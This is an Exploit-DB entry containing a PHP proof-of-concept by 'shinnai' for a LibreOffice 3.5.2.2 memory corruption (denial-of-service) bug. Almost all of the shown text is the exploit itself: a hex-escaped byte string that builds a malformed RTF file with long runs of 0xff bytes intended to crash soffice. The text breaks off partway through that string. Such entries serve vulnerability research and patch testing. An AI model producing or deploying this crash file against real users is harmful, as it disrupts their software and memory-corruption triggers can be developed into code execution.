Exploit-DB #18754
Description: LibreOffice 3.5.2.2 - Memory Corruption
Type: dos
Platform: multiple
Date: 2012-04-19
Author: shinnai

Exploit:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

<?php
 #------------------------------------------------------------------------------#
 # LibreOffice 3.5.2.2 - soffice.exe\soffice.bin memory corruption              #
 #                                                                              #
 # author:    shinnai                                                           #
 # mail:      shinnai[at]autistici[dot]org                                      #
 # site:      http://www.shinnai.altervista.org                                 #
 #            http://didasec.wordpress.com                                      #
 #                                                                              #
 # Tested on: Microsoft Windows 7 Professional                                  #
 #            6.1.7601 Service Pack 1 build 7601                                #
 #                                                                              #
 #            Fedora Core 16                                                    #
 #                                                                              #
 # This was written for educational purpose. Use it at your own risk.           #
 # Author will be not responsible for any damage.                               #
 #------------------------------------------------------------------------------#
 
 $myDoc = "\x7B\x5C\x72\x74\x66\x31\x5C\x61\x6E\x73\x69\x5C\x64\x65\x66\x66".
          "\x30\x7B\x5C\x66\x6F\x6E\x74\x74\x62\x6C\x7B\x5C\x66\x30\x5C\x66".
          "\x6E\x69\x6C\x5C\x66\x63\x68\x61\x72\x73\x65\x74\x30\x20\x43\x6F".
          "\x75\x72\x69\x65\x72\x20\x4E\x65\x77\x3B\x7D\x7D\x0D\x0A\x5C\x76".
          "\x69\x65\x77\x6B\x69\x6E\x64\x34\x5C\x75\x63\x31\x5C\x70\x61\x72".
          "\x64\x5C\x6C\x61\x6E\x67\x31\x30\x34\x30\x5C\x66\x30\x5C\x66\x73".
          "\x32\x30\x5C\x27\x64\x30\x5C\x27\x63\x66\x5C\x27\x31\x31\x5C\x27".
          "\x65\x30\x5C\x27\x61\x31\x5C\x27\x62\x31\x5C\x27\x31\x61\x5C\x27".
          "\x65\x31\x5C\x27\x30\x30\x5C\x27\x30\x30\x5C\x27\x30\x30\x5C\x27".
          "\x30\x30\x5C\x27\x30\x30\x5C\x27\x30\x30\x5C\x27\x30\x30\x5C\x27".
          "\x30\x30\x5C\x27\x30\x30\x5C\x27\x30\x30\x5C\x27\x30\x30\x5C\x27".
          "\x30\x30\x5C\x27\x30\x30\x5C\x27\x30\x30\x5C\x27\x30\x30\x5C\x27".
          "\x30\x30\x3E\x5C\x27\x30\x30\x5C\x27\x30\x33\x5C\x27\x30\x30\x5C".
          "\x27\x66\x65\x5C\x27\x66\x66\x5C\x74\x61\x62\x5C\x27\x30\x30\x5C".
          "\x27\x30\x36\x5C\x27\x30\x30\x5C\x27\x30\x30\x5C\x27\x30\x30\x5C".
          "\x27\x30\x30\x5C\x27\x30\x30\x5C\x27\x30\x30\x5C\x27\x30\x30\x5C".
          "\x27\x30\x30\x5C\x27\x30\x30\x5C\x27\x30\x30\x5C\x27\x30\x30\x5C".
          "\x27\x30\x31\x5C\x27\x30\x30\x5C\x27\x30\x30\x5C\x27\x30\x30\x34".
          "\x5C\x27\x30\x30\x5C\x27\x30\x30\x5C\x27\x30\x30\x5C\x27\x30\x30".
          "\x5C\x27\x30\x30\x5C\x27\x30\x30\x5C\x27\x30\x30\x5C\x27\x30\x30".
          "\x5C\x27\x31\x30\x5C\x27\x30\x30\x5C\x27\x30\x30\x36\x5C\x27\x30".
          "\x30\x5C\x27\x30\x30\x5C\x27\x30\x30\x5C\x27\x30\x31\x5C\x27\x30".
          "\x30\x5C\x27\x30\x30\x5C\x27\x30\x30\x5C\x27\x66\x65\x5C\x27\x66".
          "\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x30\x30\x5C\x27\x30".
          "\x30\x5C\x27\x30\x30\x5C\x27\x30\x30\x33\x5C\x27\x30\x30\x5C\x27".
          "\x30\x30\x5C\x27\x30\x30\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27\x66\x66\x5C\x27".
          "\x66\x66\x5C\x27\x6